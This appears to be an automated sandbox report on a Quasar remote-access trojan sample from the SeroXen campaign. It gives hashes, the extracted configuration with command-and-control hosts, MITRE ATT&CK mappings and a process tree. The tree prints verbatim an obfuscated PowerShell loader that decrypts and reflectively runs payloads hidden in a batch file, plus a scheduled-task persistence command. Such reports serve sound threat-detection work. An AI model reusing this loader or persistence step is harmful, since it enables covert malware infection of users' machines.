quasar | 38defd519e3b007e7590a2dc8101f356806b1f1cdcdba3eccfa0afc46b2f8577

General

Target

Uni.bat
Size

511KB
MD5

9fb9372aca1d8d842589419264c8ae62
SHA1

9313414673f343c9bb14939c6c14697dcdfc1aa0
SHA256

38defd519e3b007e7590a2dc8101f356806b1f1cdcdba3eccfa0afc46b2f8577
SHA512

10b935a27946dd4e4ff22b42782e141d22471f90fe086c6874e783a341066f0b54be8fdcbc7c7df21d96565ed0d7b00afd91bd59ac8c37613579decb0fb84618
SSDEEP

12288:/JXwTLWKJYuv1T5jgKND/v+Tz5Wgv2qwAbMdusp/cq:/JKj5jgKdW5WgOqwAYxh

Score

10^/10

quasar seroxen execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

panel-slave.gl.at.ply.gg:57059

panel-slave.gl.at.ply.gg:27892

Mutex

$Sxr-rpL8EItHN3pqIQQVy2

Attributes

encryption_key
PXEHWy52mqnqS2Hd39SK
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SeroXen
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4108-24-0x00000000071D0000-0x000000000723C000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

22 4108 powershell.exe
29 4108 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4108 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

Client.exe

pid process

1552 Client.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 ip-api.com
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3568 schtasks.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exeClient.exe

pid process

4108 powershell.exe
4108 powershell.exe
1552 Client.exe
1552 Client.exe
1552 Client.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeClient.exe

description pid process

Token: SeDebugPrivilege 4108 powershell.exe
Token: SeDebugPrivilege 1552 Client.exe

flow	pid	process
22	4108	powershell.exe
29	4108	powershell.exe

pid	process
4108	powershell.exe

pid	process
1552	Client.exe

flow	ioc
19	ip-api.com

pid	process
3568	schtasks.exe

pid	process
4108	powershell.exe
4108	powershell.exe
1552	Client.exe
1552	Client.exe
1552	Client.exe

description	pid	process
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	1552	Client.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1152 wrote to memory of 4108	1152	cmd.exe	powershell.exe
PID 1152 wrote to memory of 4108	1152	cmd.exe	powershell.exe
PID 1152 wrote to memory of 4108	1152	cmd.exe	powershell.exe
PID 4108 wrote to memory of 3568	4108	powershell.exe	schtasks.exe
PID 4108 wrote to memory of 3568	4108	powershell.exe	schtasks.exe
PID 4108 wrote to memory of 3568	4108	powershell.exe	schtasks.exe
PID 4108 wrote to memory of 1552	4108	powershell.exe	Client.exe
PID 4108 wrote to memory of 1552	4108	powershell.exe	Client.exe
PID 4108 wrote to memory of 1552	4108	powershell.exe	Client.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1tEGKi4VytwOkTEJ8mQKeyciBUGLe1meEjQfMLUYBak='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7rtamVIQAKNy+6k+WiT3+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ukQvk=New-Object System.IO.MemoryStream(,$param_var); $BXroT=New-Object System.IO.MemoryStream; $hmuUD=New-Object System.IO.Compression.GZipStream($ukQvk, [IO.Compression.CompressionMode]::Decompress); $hmuUD.CopyTo($BXroT); $hmuUD.Dispose(); $ukQvk.Dispose(); $BXroT.Dispose(); $BXroT.ToArray();}function execute_function($param_var,$param2_var){ $ZKofb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $shval=$ZKofb.EntryPoint; $shval.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$imIdF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($mdSzT in $imIdF) { if ($mdSzT.StartsWith(':: ')) { $Ijxic=$mdSzT.Substring(3); break; }}$payloads_var=[string[]]$Ijxic.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4108

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:3568

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4460 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:8
1⤵
PID:3272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ctdjn4y1.21b.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
memory/1552-36-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/1552-56-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/1552-55-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/1552-53-0x0000000006EF0000-0x0000000006F66000-memory.dmp

Filesize
472KB

Download
memory/1552-52-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/1552-51-0x0000000006D30000-0x0000000006D74000-memory.dmp

Filesize
272KB

Download
memory/1552-38-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-1-0x0000000004A80000-0x0000000004AB6000-memory.dmp

Filesize
216KB

Download
memory/4108-30-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-19-0x0000000006080000-0x00000000060CC000-memory.dmp

Filesize
304KB

Download
memory/4108-20-0x0000000007720000-0x0000000007D9A000-memory.dmp

Filesize
6.5MB

Download
memory/4108-21-0x00000000070D0000-0x00000000070EA000-memory.dmp

Filesize
104KB

Download
memory/4108-27-0x0000000007490000-0x00000000074A2000-memory.dmp

Filesize
72KB

Download
memory/4108-23-0x0000000007010000-0x0000000007072000-memory.dmp

Filesize
392KB

Download
memory/4108-24-0x00000000071D0000-0x000000000723C000-memory.dmp

Filesize
432KB

Download
memory/4108-3-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-2-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-22-0x0000000000FB0000-0x0000000000FB8000-memory.dmp

Filesize
32KB

Download
memory/4108-28-0x0000000009DE0000-0x0000000009E1C000-memory.dmp

Filesize
240KB

Download
memory/4108-29-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

Filesize
4KB

Download
memory/4108-18-0x0000000005F40000-0x0000000005F5E000-memory.dmp

Filesize
120KB

Download
memory/4108-31-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-0-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

Filesize
4KB

Download
memory/4108-13-0x0000000005A30000-0x0000000005D84000-memory.dmp

Filesize
3.3MB

Download
memory/4108-37-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-26-0x0000000007330000-0x00000000073C2000-memory.dmp

Filesize
584KB

Download
memory/4108-50-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/4108-7-0x0000000005940000-0x00000000059A6000-memory.dmp

Filesize
408KB

Download
memory/4108-6-0x0000000005860000-0x00000000058C6000-memory.dmp

Filesize
408KB

Download
memory/4108-5-0x00000000051F0000-0x0000000005212000-memory.dmp

Filesize
136KB

Download
memory/4108-25-0x000000000A350000-0x000000000A8F4000-memory.dmp

Filesize
5.6MB

Download
memory/4108-4-0x0000000005230000-0x0000000005858000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads